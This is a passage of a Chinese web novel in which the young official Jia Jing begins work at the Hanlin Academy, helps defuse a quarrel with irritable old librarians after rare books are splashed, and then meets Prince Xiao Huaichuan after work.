素雪促狭一笑,就算是去选美,她相信她家二爷也能拔得头筹,怕说这话贾敬恼了,她没说,而是转移话题道: “二爷,这补子上绣的是什么仙鸟?” 贾敬这次眼都未抬:“鸂鶒,一种水鸟。” 素雪连忙吹嘘:“二爷懂得真多。” “哼,好了,动作快些,我可不想第一日当值就迟了。” 贾敬穿好官服,换上皂靴后,当带乌纱帽时,他朝铜镜里看了一眼,额头上的伤只剩浅浅一道印痕,不仔细看,根本看不出来。 将一切穿戴整齐后,贾敬在自己院内用了朝食便出了门。 外院门口站着两位小厮,见贾敬出门,连忙躬身。 素雪将手中的小箱笼递给其中一位小厮,故作严肃道:“阿寿,咱们二爷的东西我可交给你了,可要仔细着保管,听到没有?” “素雪姐姐,交给小的,您就放心吧!小的定会好好保管二爷的……”小厮说着一顿,连忙笑着改口,“保管大人的物件儿!” 素雪挑了挑秀眉,满眼惊奇地瞅着小厮,上下打量着,“换了个名儿,连精气神都换了?瞧这嘴甜的。” 阿寿不是别人,正是先前跟在贾敬身后的二狗,因请大夫有功,史云棠不仅给了赏银,还问了二狗的意愿后,给改了和“阿福”、“阿禄”一样的名。 阿寿嘿嘿一笑,“都是素雪姐姐和禄哥调教的好。” 素雪:“好了,别贫嘴了,快随大人去上差吧,别耽误了时辰。” 阿寿抱着小箱笼追着贾敬身影去了。 贾敬出了角门,门外已经有早已经等候的马车,如他先前吩咐的那样,还算朴素低调,不算惹眼。 待贾敬坐上马车后,阿禄和阿寿两人也跟着坐在了车驾外。 贾敬伸手敲了敲门框,很快外面便响起阿禄的问候声: “大人,可有事?” 贾敬:“前个儿让你去打探的消息,打听的如何?” 阿禄想了一瞬,立刻回答道:“您让我去打听各位进士老爷的授官情况,小的都打听到了。” 很快,阿禄便跟报菜名一般,将了解的情况都说了一遍。 贾敬静静听着。 待阿禄说完,贾敬勾了勾唇,“倒是巧了,没想到子虚兄和谦之兄都入了翰林院。” 薛琼作为新科状元,进入翰林院,是板上钉钉,按照旧例,状元一般都是任从六品的翰林院修撰。 而让贾敬意外的,是宋子虚。他的成绩并非前三甲,想来是朝考成绩优异,留在了京中,为翰林院庶吉士。 同为翰林院庶吉士的还有程一序。 而先前一直对贾敬再三挑衅的李玉衡,则是进了工部当主事。 贾敬眯了眯眼,神情有些玩味,“他那成绩,还能留在京里?我记得外派的几位,都优于他吧?” “他在里面做了什么手脚?” 阿禄声音小了几分:“您果然敏锐。” “这事儿小的也打听到了,听闻原先是要将他外派去离京城二百里地的松原县当知县,这位李公子家里使了不少银子,才让工部左侍郎呈禀吏部,说是工部不日就要修皇陵,差人手,这才把他划了过去。” 贾敬勾了勾唇,心道:果然如此。 若是他没猜测,吏部那边轻松改动,李玉衡家里应该也没少使力,看他先前那般巴结吏部尚书何清,这里面也并非没有何清的手笔。 贾敬今日去翰林院上值,却没有直接前往翰林院的官署,马车是在鸿胪寺官署门前停下。 新官刚入职,都是需要鸿胪寺统一派人领着前往各部门的。 贾敬不是最先到的,他到时,鸿胪寺门口已经停了好些马车。下了马车后,映入眼帘的也多数都是些熟面孔。 这些都是贾敬留在京中任职的同年们,以后也都是朝堂上的同僚。 “培元,你今日也上值?” 贾敬身后传来一道惊喜的声音,正是宋子虚。 宋子虚惊喜地望着贾敬,几个急步便到了贾敬面前, “培元,你身子都好利索了?” 贾敬双臂微微张开,“子虚兄不放心,自己瞧瞧?” 宋子虚还真就认真的将贾敬上下瞧了又瞧,丝毫都没放过,见贾敬全首全尾,才送了口气。 贾敬无奈:“养了这么些日子,早就好了。” 宋子虚咧嘴一笑,在他眼里,贾敬漂亮地跟美人灯似的,生怕他吹吹就散了。 “培元,没想到我也能留在翰林院,以后可就能一起当值了。”宋子虚的语气里是掩不住的兴奋。 贾敬跟着点头,目光则是落在不远处的薛琼身上,他周围围了不少人,多是向他恭贺的。 起步便是从六品翰林院修撰,让多少人艳羡? 宋子虚顺着贾敬的目光看去,“谦之兄那边人太多了,我便没凑过去了,我们说好,待会儿翰林院在聊。” 贾敬转眸,挑了挑眉,“子虚兄这些日子和谦之兄背着我,这般熟稔了?” 宋子虚心虚的眨了眨眼睛,“怎么能叫背着培元你呢,这不是怕打扰你养伤吗?” 他和薛琼算是相见恨晚,许多出都聊得来。他更是随薛琼去了薛家,见到了他最崇敬的薛阁老。 贾敬哼了一声,“我好了,你们就别想背着我玩了。” 宋子虚点头应下,“为赔罪,今日下值,我请培元去万香楼吃上一桌,如何?” 贾敬刚准备点头,就见不远处一个身影快步朝他们这边走来。 那人走近,宋子虚认了出来,是宫中内侍的服饰。 他下意识的就朝贾敬看去,果然,下一瞬,那内侍就朝贾敬行礼,“二爷安。” 贾敬眼熟,“你是那个……” “奴婢小德子。”小德子乐呵呵答道,提醒着,“先前有幸送您回府,您还给了奴婢的赏。” 贾敬恍然大悟,“有何事?” 他猜大概是萧淮川不放心自己第一日当值,有什么要交待。 小德子连忙道:“殿下说,请您今日下值后,先别急着回去,殿下邀您一起用膳。” 贾敬没回答,而是下意识看向宋子虚,只见宋子虚撇了撇嘴,故意掐着酸道: “哎呀,咱也想跟贾二爷亲近,奈何,贾二爷不给机会啊。” 宋子虚倒是没有真的生气,贾敬和那位关系不一般,他早知晓了。 【作者有话要说】 注释:1.病来如山倒,病去如抽丝。出自《红楼梦》 2.跟美人灯似的,生怕他吹吹就散了。化用了《红楼梦》里“一个是美人灯儿,风吹吹就坏了。” 第54章 被宋子虚调侃, 贾敬觉得有些尴尬,不过也只有那么一瞬间,下一瞬就恢复了原状。 他想起来了, 先前萧淮川是与自己说过,要和自己一起用膳。 贾敬目光落在宋子虚身上,挑了挑眉, 像是想到了什么, “子虚兄也可和小弟一道……” “可别, 这福气您贾二爷独自享受吧, 我和谦之兄下值去东市逛书市去。”宋子虚连忙摆手。 贾敬撇了撇嘴,他是诚心相邀,心中想着的也是正事, 想要将宋子虚和薛琼正式引荐给萧淮川。 不过这件事, 也是他刚刚冲动了,还是需要策划一番,最起码要先试探试探宋子虚和薛琼的态度再说。 想法就此作罢,贾敬转眸看向小德子, 抬了抬下巴,“嗯, 我知道了。” 小德子瞬间嘴咧得更大了, “诶, 小的这就回去回话。” 说完便踱着小碎步走了, 没一会儿就不见踪影了。 贾敬问着宋子虚:“最近东市那边有什么热闹的?竟然还开了书市?” 宋子虚点头:“培元这些日子于家中养伤, 不知道这些。” “东市那边新开了一家书肆, 听闻东家是南边来的, 有许多京城没有的货源, 很是新鲜稀罕, 店铺一开门便吸引了许多人,可谓是客如云来。” 贾敬被挑起了兴趣,“南边来的书商?货源稀奇?连子虚兄在江南也未见过?” 说起南边,贾敬最先想到的就是江南,宋子虚本就是江南省举子,按理说应当了解。 宋子虚摇了摇头,脸上露出了一丝迟疑,“我在扬州没见过这些书,听那家书肆小二的口音,好似是赣省那边的。” “赣省?”贾敬听到这个熟悉的地方,眼眸不禁眯了起来,紧接着他又问,“书市又是怎么一回事?” 宋子虚:“嘿,这事儿说来也好玩。” “东市那头多的是书舍书肆,大家一窝蜂的去了新书肆,别的书肆老板便急了,联合一些老店,直接将许多藏书都摆了出来,东家摆,西家也跟着摆,东市直接就组了书市,热闹极了。” 宋子虚给贾敬说着书市的热闹场景,并建议道:“你没事也去逛逛,有不少好东西呢。” 贾敬笑着点头,心里想着,择日不如撞日,下值便拉着萧淮川一起去瞧瞧。 鸿胪寺派了一位于姓少丞前来接应,他身后还跟着几位主簿。于少丞将几位主簿分配好,命其将分到六部的主事送到各部门官署。而他自己则是专门陪同前往翰林院的几位。 各主簿率先将人领走后,剩下的便是前往翰林院的诸位。贾敬大概扫了一眼,莫约十几人,面孔大致能和阿禄所说的名单对上,有好几位还都是他认识的熟人。 程一序远远朝贾敬点了点头,以作示意。 “诸位请随我来。” 于少丞的态度很是客气,毕竟他也不过是从六品的官职。 且不说状元薛琼授封翰林院修撰,与他同级,就算是贾敬、宋子虚这些编修、庶吉士,论起来比他低上个半级一级,可这些都是初入仕途便入翰林的进士,前途不可限量,可不是他一个小小少丞可以得罪的起的。 若是能交好,于少丞更是开心不过了。 翰林院官署与鸿胪寺官署就挨着,步行过去也耗不了多长时间,大家便也不急,信步走着。 薛琼也终于摆脱了应酬和吹捧,躲到了贾敬和宋子虚的身边。 贾敬笑道:“咱们薛大才子还当真是有魅力。” 薛琼苦笑,“你可别笑话我了,我最不爱这些。” 可无论是他状元的名头,还是这次独一份的从六品官职,亦或是他那位当阁老的爷爷,都让他免不了这些。 路上,薛琼又关心贾敬的身体,几人聊着,氛围好的让其他人也没脸厚着蹭上来,还算畅快。 没一会儿,他们便到了翰林院,翰林院官署外候着一位着浅绯色袍从五品官服的青年官员,于少丞一见那人,满脸堆笑,快步迎了上去, “方大人,您怎么在门口候着了。” 那位方大人不苟言笑,面对于少丞的热情,只是微微颔首道:“奉上官指令,在此接人。” 于少丞也好似了解他的为人并不气恼,将手中的一折文书递了过去,接着笑道:“人我可给你送到了,我回去交差了?” 方大人接过文书,顿了顿,说了句,“有劳。” 于少丞转头看向薛琼贾敬等人,开口介绍道:“我便送诸位于此,这位是翰林院的侍讲方大人,诸位后面便跟着方大人吧。” 薛琼贾敬等人躬身,谢过于少丞,于少丞笑了笑,便转身离开, 方大人先是打开文书,看着上面的姓名官职等信息,随后抬眸,目光扫过面前众人,通过官服的颜色和胸前补子图案,也将人认得七七八八。 “随我来。” 方大人丢下这么一句话,便转身朝翰林院里面走去。 “这方大人看着就不好说话啊。” “是啊,他刚刚看过来,那个眼神,我差点没敢动。” 站在贾敬身后的几人小声议论,诉说着对方大人的感官。 宋子虚也不禁感慨道:“这位方大人,还真是不苟言笑。” 薛琼点头,好似很了解这位方大人一般,为其说着话,“方大人话是少了些,但为人正直,刚正不阿。” 贾敬望向薛琼,“谦之兄认得这位方大人?” 薛琼摇了摇头,“认识谈不上,但也知道方大人的为人。” 他犹豫了一会儿,和贾敬宋子虚简单说了一下这位方大人。 方大人名海峰,如今也不过而立之年没多久。六年前的进士,同年进了翰林院,翰林学士徐大人更是他的恩师,本该是年轻有为,前途无量。 可这位方大人本性刚正,某次意外,让他知晓了其老师徐大人,在翰林院庶吉士满三年后的散馆考试中,收受贿赂,给某些庶吉士开后门。 他一张状纸将他的老师徐大人收受贿赂的事情,状告到了都察院。线索证据齐全,都察院很快就将事情查了个水落石出。 最终以徐大人褫夺官身、罚银万两,才结束了此事。 方海峰虽大义灭亲、检举有功,可到底检举了自己的老师,佩服的人有之,说他是愣头青有之,唾骂他为白眼狼的更是大有人在。 而他也至此蹉跎在翰林院,至今也只是个从五品的侍讲学士,无人想提拔他。 贾敬和宋子虚听完方海峰的事迹,都沉默未语,宋子虚垂着头不知道在想什么。 贾敬心中先是有些唏嘘,随后便是对这位不落俗流的方大人产生了几分好奇和好感。 方大人在前面走着,后面跟着一群人,人虽多,脚步却轻。 翰林院平日的工作,除了学士需要向贵人们去读书讲史讲学外,更多的便是起草文书、编修史书等工作,尤其是编修和修撰两个官职,重点便是做这些。 而做这些工作,需要阅读大量书籍和史料,所以整个翰林院官署都显得很安静,偶尔看见几位捧着书疾步匆匆的官员。 方大人领着人进了一间空旷大屋子,一进去,便是印刷的墨香扑鼻而来,里面掺杂着潮湿灰尘味。 一抬眼,入目的便是琳琅满目的书籍,每个书柜都要碰到了屋顶。而屋子的四个角落,则是挤了好多张桌子,零星坐了二三位人,各坐一个角落,其余都是空桌。 那几人见方大人带了一群人进来,也只是在他身后的一群人身上扫过,便低下了头,不再理会。 方大人收回目光,看向薛琼等人,声音很轻很冷:“这便是你们之后当值的地方,房间四角皆有位置,你们四五人一组,选座坐下吧。” “他们让你们做什么,你们照做。” 众人一时间还未反应过来,他们?是谁? 待众人目光朝四个角落看去,才意识到,方大人说的想来便是角落的那三位。 大家更傻眼了,这瞧着一个都不是好相与的啊?还要自己选? 不过,这些到底是今年进士中最优异的一批,也没那么容易被吓到。他们本就有关系要好的,很快便聚在了一起,商量着去哪一个角落。 贾敬这边自然是薛琼和宋子虚,三个人,不够方大人规定的人数。 贾敬抬头,便看见有人探头探脑朝他们这里看着,却又犹豫着要不要主动上前,最终是,无人加入。 “我们这么吓人?”贾敬有些诧异,看向薛琼,“谦之兄人缘不是很好吗?” 薛琼扯了扯嘴角,脸上也有些懵,他怎么知道? 贾敬看向最北边背光的角落,那边只有空桌,没有人坐,心中划过一个猜测。 也有人同样注意到了这件事,大着胆子问方大人:“方大人,若是去了北边的角落,该请教谁?” 方大人刚准备答,就被一道阴阳怪气的声音打断。 “哟,这不是我们方侍讲吗?没有贵人找您讲课读史,都干起接人的活了?” 所有人都闻声望去,只见屋外走进来一年轻男人,穿着和方大人同色官服,脸上挂着幸灾乐祸的嘲讽。 男人眼神倨傲,眼中像是看不见其他人,对贾敬这些新来的人,也是随意打量一眼,毫不在乎。 方大人面对这男人的挑衅,目光直视,面不改色道:“赵侍讲前些日子没讲明白的《尚书》如今能讲明白了?” 就这么简简单单一句话,就跟戳到这位赵侍讲的痛处一般,脸色瞬间涨红,眼神愤恨地瞪着方大人, “方海峰,你就是嫉妒我还能讲课,你就在这边带新人吧!” 那赵侍讲说完一甩袖子便走了,瞧着背影显得有些急促狼狈。 贾敬挑眉,没想到这位方大人,轻易不开口,这开口,嘴跟淬了毒一眼。 不愧是敢检举自己老师的狠人。 方大人眼神看向先前问话的人,抬手指了指北边的角落,“那边,问我。” 话音刚落,原本分好的小圈子瞬间散开,霸占了东西南三个角落。 “啊?他们商量好的?”宋子虚眨巴着眼睛,张大了嘴巴。 贾敬拍了拍他的肩膀,“走吧。” 三人走到北边的角落,看了看空桌,上面肉眼可见的一层灰,贾敬轻啧一声,抬头看向其他角落,大家都干站着,看来情况都一样。 “自己的座位,自己打扫干净。”方大人又发话了,丢下这句话,他就转身走了,留下一群人抓瞎。 有的人抖抖霍霍去问角落里坐着的人,谁知人家理都不理,就跟没听见一样。 贾敬撸起袖子,四处看着,在桌腿旁看见了木头和布,叹了口气,他在家哪里干过这个? 显然,薛琼和宋子虚对这些事情也不熟。三人拿着东西,六目相对发呆时,一道人影投来,就见程一序不知何时站在了他们身后。 “你们这边是不是缺人?加我一个。” 贾敬几人一时没有说话,刚刚程一序不是和别人一起吗? 程一序指了指贾敬手中的木桶和抹布,“这个,我会。” 贾敬当机立断:“好!” 第55章 程一序面色如常, 沉稳地伸出手,准备从贾敬手中接过那个略显陈旧的木盆。然而,就在他快要碰到木盆边缘之时, 贾敬却忽地一个侧身,躲开了程一序伸来的手。 贾敬扬了扬手中的木盆,“一起吧?” 他虽然没做过这些, 可也没有打算在一旁干看着, 只让程一序干活的道理。 站在一旁的宋子虚面色微红, 略显拘谨, 神情羞赧。他不由自主地紧紧握住手中的木盆。 薛琼要比宋子虚淡然许多,他礼貌地朝程一序点了点头,“有劳程兄多多指教了。” 三人的态度让程一序不禁有些迟疑, 他稍作停顿, 随后回过神来,同样颔首示意,说了句,“嗯, 你们倒也并非无可救药。” 听了程一序这话,贾敬下意识嘴角一抽, 心中腹诽:这程一序说话还当真不客气啊。 程一序倒是没有忽悠贾敬, 他的动作麻利爽快, 时不时还指导一下贾敬等人, 什么把抹布上的水拧干再去擦云云。 有了程一序的指导, 贾敬几人虽然有些手忙脚乱, 甚至还不小心弄湿了衣袖, 出了一些小状况, 可也算是顺利将空桌椅擦拭干净了。 忙完后, 他们斜靠在桌边歇着,贾敬随手从一旁抽出一本书,本想着随意翻开,却没想到竟是本少见的古籍,内容更是一绝。 贾敬目光扫过旁边一摞书,眼眸一亮,刚准备提醒薛琼宋子虚,便忽然耳边传来一声巨响: “砰!” “哐当!” “啊!” 巨响发生之后,就听见有人惊呼:“书!” 贾敬几人连忙转身看去,只见西边角落木盆散落一地,水四处飞溅,将不少书都打湿了。 西边角落里站着的几位庶吉士早已经被眼前的一切吓傻了,站在原地不知道该做什么。而从他们进来都没有神情变化的三人,此时面色大变, “快救书!” 他们朝站在一旁不动的几位庶吉士吼着,眼睛都快瞪了出来。 几位庶吉士这才如梦初醒,手忙脚乱地前去收拾,有的直接急得用官服袖子去擦水渍。 “还不快过来帮忙?” 东边角落和南边角落的两人冲其余人吼了一声,也赶忙站起身朝西边走去,面沉如水。 一下子,全屋子的人都朝西边涌去,贾敬和薛琼程一序对视一眼,也迈步过去了。 “你们都给我小心些,这些都是珍贵的古籍孤本!” “方海峰简直是疯了,让这帮小年轻来咱们这里!简直是捣乱!” 三人压抑不住怒火的话不断冒出,远没有先前那样沉默高深。 贾敬拿起一块绒布,一边小心擦拭着古籍封面上的水渍,一边在心中分析着。 先前他们坐于角落处,还不显,如今到了面前,贾敬便看出这三个人年龄显然都不小了,下巴处早已蓄起了胡须。 尤其是其中一人,那胡子甚至已微微泛出些花白之色。 这三人皆身着清一色的深灰色常服长袍,样式是最为常见的样式,布料也是最普通的麻布,看不出他们的品阶高低,却对从五品的方大人直呼其名。 他们对方大人的态度,显然透露着深深不满,连带着他们这群被方大人安排进来的新人,也不受他们的待见。 再看着一屋子的古籍孤本,贾敬心中隐隐有了一丝猜测。 贾敬忍不住抬起眼眸,再次细细端详起这三人来。只见那位胡子略见斑白的老者,正满脸痛惜地望着一本略有发皱的书。他双手捧起那本书,轻柔得如同捧着稀世珍宝一般,小心翼翼地将它放置到窗台之上。 然后,他取过一方古朴圆润的竹制镇纸,缓缓地在书页上压过,试图让那微皱的纸张变得更加平整些。他的每一个动作都透露着谨慎小心,生怕对书籍有一丝损伤。 其余两位虽然没有这样,可一举一动仍然掩盖不住他们对这些古籍的珍视。万幸,许多书也只是被溅了水,他们人多,时间也及时,没让古籍受到什么损害。 贾敬心中大抵对这三人的身份有了定论,下一瞬,那三位的对话便证实了。 “老夫是典籍,向来只负责书,可不管你们这些人的闲杂事!谁让你们来这儿的!”其中一位满脸怒容地叫嚷起来。 刚才方大人来送人,他自然知道,如今这样说,是故意为之。 贾敬心下暗道:果然是翰林院的典籍。 早就听闻翰林院的典籍多数跟老学究一般,对各类珍品书籍痴迷到了近乎癫狂的程度,如今看来,是有过之而不及。 “你们从哪来儿,就给老夫回哪儿去!” 而先前那位晒书的胡子斑白典籍,猛地一转身,目光如炬地盯着方才将木盆打翻的那位庶吉士,朝着他发难,大声训斥道: “不知所谓的毛头小子们!休要在此扰老夫清静!毁了老夫的书!” 说着,他还气势汹汹地朝着他们用力挥舞着手臂,一副要赶人的做派,仿佛面前都是一群不速之客。 面对老典籍的训斥和驱赶,原本打翻木盆的那位庶吉士,本就心虚,现在是彻底慌了神,脸色陡然煞白,连腿都有些软了。 贾敬心道,这位庶吉士要不是他旁边的人搀扶,可能真的要瘫下去了。 而有些人,本就不满典籍一开始沉默的态度,如今更是被人训斥,心中藏着的火气,终于发了出来。 “我们是方大人领来的人,你们方才难道是没听见吗?” “是你们装聋作哑,不理睬我们,这才出了乱子!这都怪你们!” 这话一出,贾敬心中便道:坏了! 这三位明摆着对方大人有着不满。 果然,不提方海峰还好,一提方海峰,这老典籍就跟炸药桶似的,直接炸了,气得胡子都飞了起来。 “你还敢提方海峰?他方海峰算个屁!” “既然是他领你来的,你去找他!” 那人见老典籍这般强硬,心中有了怯意,可想到老者的身份,他还是梗着脖子道:“你不过是个区区八品的典籍!你也……” “唔唔唔……” 那人话还没说完,便被人捂住了嘴巴,只能呜呜作声。 捂人嘴巴的不是别人,正是程一序。 贾敬诧异挑眉,正对上程一序的目光,程一序转头跟他捂嘴的那位庶吉士道: “慎言。” 那位庶吉士还在“呜呜”作声,他眼中明显带着不忿,仿佛在问:你凭什么捂嘴不让我说! 可他完全没有注意到,那位老典籍此时已经满脸铁青,气得浑身发抖,一副要喘不过气来的模样。 这位老典籍要是真的在这里被气晕了,他们这群人都脱不了干系。 虽然典籍才是八品,他们在场都比这八品要高,更别说那位方大人,可这话不能在这儿说。 方海峰将他们这群人丢在这里时,可是说了,让他们听这三位典籍的话,三位典籍让他们做什么,他们就要照做。 显然,这三位典籍的身份不一般,最起码,在这翰林院里,很不一般。 这位庶吉士愣头青的表现,让程一序忍不住轻啧一声,那脸上宛如看傻子的表情,要不是场合不对,贾敬都要笑出了声。 旁边的一个人,好似看出了老典籍的不对劲,用了扯了扯那位庶吉士的袖子。到底是考中进士的人,顶多冲动了些,也不是什么蠢人,没一会儿便明白了过来。 他显然也想到了后果,惊得下意识打了个颤,程一序垂眸,沉声问:“冷静了?” 那庶吉士连忙点头,程一序这才松开了手,还一脸嫌弃地望了望自己的手心,贾敬猜,他肯定是在嫌弃那人的口水。 下一瞬,程一序便拿起了一旁的布巾开始擦手。 老典籍在其余两位典籍的安抚下,缓缓镇定下来,可神情依旧难看。 “老夫还是那句话,你们从哪儿来!回哪里去!这里庙小,容不下你们!” 见他态度坚持,许多人脸上都犯了难色,这明显不待见他们,这说实话,他们也不想待着这里,可真的要如老典籍所说,离开吗? 那这样便违背了方大人的嘱托,唯恐翻了什么错,毕竟他们都才初涉官场。 程一序上前一步,朝老典籍一拱手,“这位大人消消气,我们也是听从上峰指令在此,还请大人不要为难。” 他态度尚好,气度从容,浑身的书卷气让老典籍斜睨了他一眼后,冷哼一声,故意问道: “你说的上峰是谁?” 程一序正色道:“自然是咱们翰林院的学士大人。” “我们初入翰林院,一切安排自然是来自于学士大人。” 他故意没提方海峰,而是抬出了学士大人。 这三位典籍方才的发难,明显是针对于方海峰。或许他们确实不愿意带这些初出茅庐的新人,但这类不满情绪并不占主要。 老典籍一哽,没想到他会抬出学士大人。 贾敬与程一序对视一眼,也向前一步,朗声道:“我们奉学士大人之命,跟着大人们学习,今日是我们唐突,毛手毛脚打搅了大人,添了乱子。” “大人若是对我们不满,我们可退至门外等候。” 这句话,直接将老典籍架在了虎背上。 第56章 若是方海峰带来的人, 老典籍自然敢将人都轰出去,不带丝毫犹豫。 反正方海峰在翰林院声名狼藉,他手上的事情办砸了, 多的是看他笑话的。 可程一序将学士大人抬了出来,他能将学士大人安排的人赶出去不成? 再看和程一序一唱一和的贾敬,以退为进, 嘴上说着唐突, 自请出去, 老典籍真的敢应吗? 一旦他点头, 贾敬绝对会带着这群人出去,就这样站在门外。到时候,其他人便会指责这三位典籍们, 说他们倚老卖老, 不顾学士大人的吩咐,打压怠慢翰林院的新人。 或许老典籍他们不在意自己的名声扫地,但他们不得不顾忌翰林院的声誉,若是闹出这样荒诞不经的笑话, 相信多的是同僚想要亲眼目睹这样的闹剧,恨不得翘首以盼。 老典籍一时间陷入了两难的境地, 进退维谷, 难看的脸色非但没有改善, 反而愈发凝重。 贾敬见老典籍一副又要晕过去的模样, 不急不慢道:“我们初来乍到, 难免会有诸多行事不当、礼数不周之处。若蒙大人您肯不吝赐教, 愿指点一二, 那自然是再好不过的事情了。” 这是他给老典籍的一个台阶。 老典籍自然不会察觉不到贾敬此举的用意和深意, 他微微抬起那双因年老而下垂耸拉的眼皮, 脸色没有丝毫缓和之色,冷冷地瞥了一眼贾敬。 好一招以退为进,让他骑虎难下。现如今又给他一个台阶,软硬兼施。 这位年轻的后生,看着稚嫩,可那笑眯起来的眼睛,像极了狡猾的狐狸。 贾敬静静地站在那里,气定神闲地望着老典籍,只待老典籍的回应,而贾敬身旁的其余人也都紧盯着老典籍。 其余两位典籍显然也看出了这里面的门道,他们有些意动,动手拉了拉老典籍,老典籍皱了皱眉,挣开了两人的手,朝贾敬冷笑出声, “既然你诚心请教,老夫自然没有不答应的道理。” 老典籍说着,手朝角落里一抬,“这几摞书从去岁冬日便一直搁在这里,受了潮,今日天气好,你们就将这些书搬出去晒晒吧。” “今日外面有风,你们就在一旁看着吧!”老典籍还特地强调了这么一句,他盯着贾敬,“能做吗?” 贾敬自然明白老典籍的用意,他就是想将他们这群人赶出这间屋子,所以找了个晒书的理由,打发他们出去,又找了个照看书的幌子,让他们一直在外面待着。 贾敬没有立刻回答,而是看向旁边的一众人,“诸君可愿一同?” “愿意,愿意。” “我现在就去搬书!” 一群人点头如捣蒜,他们巴不得出去,可不想跟这三位脾气古怪的典籍纠缠。 他们先前犹豫不决,只是因为,不能无缘无故被赶出去。眼下,贾敬和程一序与老典籍一番斡旋后,他们有了晒书这个正当理由出去,怎么可能不应? 没等贾敬反应过来,就有几人已经去搬书了,在外面晒晒太阳看看书,比对着这三个老头强。 老典籍原本达到目的,脸色稍霁,可见这群人非但不觉得羞恼,反而一副迫不及待的模样,心中顿觉郁结。 贾敬观老典籍原本微松的神情又变得紧绷起来,脸上的笑意更深,和程一序相视一笑后,同时朝老典籍微微躬身,“谢大人指点。” 那几摞书本就不多,没一会儿就被这些年轻人搬完了。 搬完后也不再有人进这屋子,老典籍站在原地,只觉得有些憋闷。 站在他旁边稍微年轻的一位典籍拍了拍老典籍的肩膀,声音竟然还带着些笑意,“老胡,何必跟这群小辈置气?” 胡典籍动了动嘴,斑白的胡子飘了飘,冷哼一声,“老夫不过八品典籍,敢和这些未来出阁入相的计较?” 这话一出,显然还气着呢,那名典籍自然知道胡典籍的脾性,也只是无奈笑笑,朝他先前坐着的桌子走去,路过正门时,他还朝外面瞥了一眼。 胡典籍也想看一下外面的情绪,他怕那些兔崽子祸害了他的书,即便那几摞书是这屋子里最没什么价值,过段时间要被放置库房的书。 可他到底抹不下面子,最终一甩袖子,也回了自己的坐处。 贾敬一群人将书摊好,望着空旷的院子,有人挠了挠头,“这坐哪儿啊?” 有位身形微胖的庶吉士嘿嘿一笑,一撩袍子,席地而坐。“坐这儿呗,还能晒晒我的衣袖。” 他说着还晃了晃先前因除扫而湿掉的衣袖。 有人眼含担忧地朝屋子里看了看,“我们就待在这里,没问题吗?” 身形微胖的庶吉士一摆手,“我们是奉命在此晒书,有什么问题?” 他的豁然心态瞬间感染了一众人,大家也不再顾忌什么面子,都席地坐下,随手捞过一本书,便看了起来。 今日乃是他们第一天当值,多数是带着期待与憧憬的心。却没想到碰到了这么多匪夷所思的事情,身心俱疲。 而此刻,终于能够稍稍放松下来,他们如释重负,舒展着身躯,尽情享受着阳光洒落在身上的暖意,惬意地翻看着书,时不时交流几句。 若不是场地不对,还以为是什么文人墨客的座谈。 贾敬、薛琼、宋子虚和程一序四人则是围坐成一圈。 只见程一序漫不经心地捻起书页的一角,将手中的书籍翻开,匆匆扫了一眼之后,便不再关注,他缓缓抬起眼眸,视线直直地投向对面坐着的贾敬: “培元兄真是口若悬河啊,佩服佩服。” 听到这话,贾敬不紧不慢地把目光从眼前的书页上移开,似笑非笑道:“哪里哪里,程兄亦是妙语连珠,舌灿莲花,咱俩不过是彼此彼此罢了。” 虽然表面上看两人都是在互相夸赞对方,但只要仔细一听就能发现,他们说话的语气其实并没有想象中的那般平和,仿佛字里行间弥漫着一股火药味,针锋相对,暗潮涌动。 坐在一旁的薛琼自始至终都低着头,全神贯注地盯着手中的书籍,可嘴角却不自觉的勾起。像是知道了什么。 另一边,宋子虚则有些坐立不安起来。他先是用手中的书本半遮着脸,小心翼翼地观察着贾敬和程一序二人。见两人跟对峙一般,他下意识和稀泥,打着圆场道: “今日程兄和培元搭配的可谓是天衣无缝,两人真是惺惺相惜啊!” 程一序微微一挑眉,和故意强自己风头的人惺惺相惜? 他与贾敬对视,望着对方那双狡黠上扬的桃花眼,便知道贾敬是故意的。程一序扯了扯嘴角,倒也没再说什么,低下头去,看起了他不知道看过多少遍的书。 贾敬见状,下巴轻抬,唇角微微上扬。 其实,程一序出手捂住那位庶吉士嘴时,贾敬便已经猜到他想做什么。程一序是想借此机会为自己造一番势。 贾敬原本不想横插一脚,可对上程一序的目光后,贾敬忽然改变了想法,这才有了方才看似他们二人一唱一和的事情。 一切都相安无事,方海峰来时便瞧见了这一幕。 望着院落里晒着的书,以及席地而坐的翰林院新任官员,方海峰仿佛并不觉得诧异,他对他们的行为也未做出什么训斥。 有人眼尖地看见方海峰到来,连忙站起身,有些紧张,生怕被方海峰训斥失仪,“方大人。” 其余人也纷纷站起身,拍了拍衣袍上的褶皱,向方海峰问好。 方海峰并没立即开口,而是抬头看了看日头,日头已经快下去,还有半个时辰不到,就是下值的点了,他负手站立,颔首道: “将书都搬进去吧。” 大家先是面面相觑了一会儿,紧接着便听方海峰的话,抱起晒好的书,却没急着迈步离开。 刚才那三位典籍反感的态度,明眼人都看的出来,现在进去,怕不是又得挨骂。 他们好好地肯定不想被人训斥,可又怕顶回去,那老典籍受不了,直接晕厥。 方海峰眼神扫过一众人,沉声道:“跟上。” 丢下这句话,他便转身就朝屋内走去,其余人抱着书紧跟其后。 他们一行人刚进来,三位典籍便骤然站起了身。 方海峰无视三位典籍的动作,而是指挥着贾敬一群人,“将书放好,你们便下值吧。” 他这话刚落,大家的脚步明显快了几分,纷纷将书放好,便跟脚底抹油一般,出了屋子。 贾敬故意慢了几分,余光偷偷朝方海峰的方向看去,见三位典籍已然气势汹汹地站到了方海峰的面前。 可再想接着看下去时,方海峰的目光忽然射来,贾敬便知,是偷听不成了,这才将手上的书放好,迈步出了屋子。 程一序走到贾敬身边,“培元兄不猜猜,方大人会和典籍说些什么?” 贾敬瞥了他一眼,“程兄这么好奇?不若进去听听?” 说完这句话,贾敬便不理会程一序,径直走了。 刚出翰林院官署,贾敬便看到了一架熟悉的马车,那是萧淮川微服出宫常做的马车。 贾敬先是和薛琼宋子虚道别,便朝那马车走去。 马车外站着的,正是今早给贾敬传消息的小德子,见贾敬走来,笑得一脸谄媚,“二爷,您下值了。” 贾敬下巴朝马车抬了抬,“他在里面?” “诶,殿下一直在等二爷您呢。”小德子连忙点头,手上动作麻利的打开车帘,马车旁早已经放好了脚蹬。 贾敬提着衣袍,便钻进了马车。 萧淮川在闭目养神,贾敬进来的一瞬间,他便睁开了眼睛。 贾敬刚想说什么,就见萧淮川的神情有些怪异,不禁迟疑道: “怎……怎么了?” 萧淮川伸出手,轻轻抚摸过贾敬的脸颊,轻声笑道:“怎么跟花猫似的。” 第57章 萧淮川的话里满是打趣, 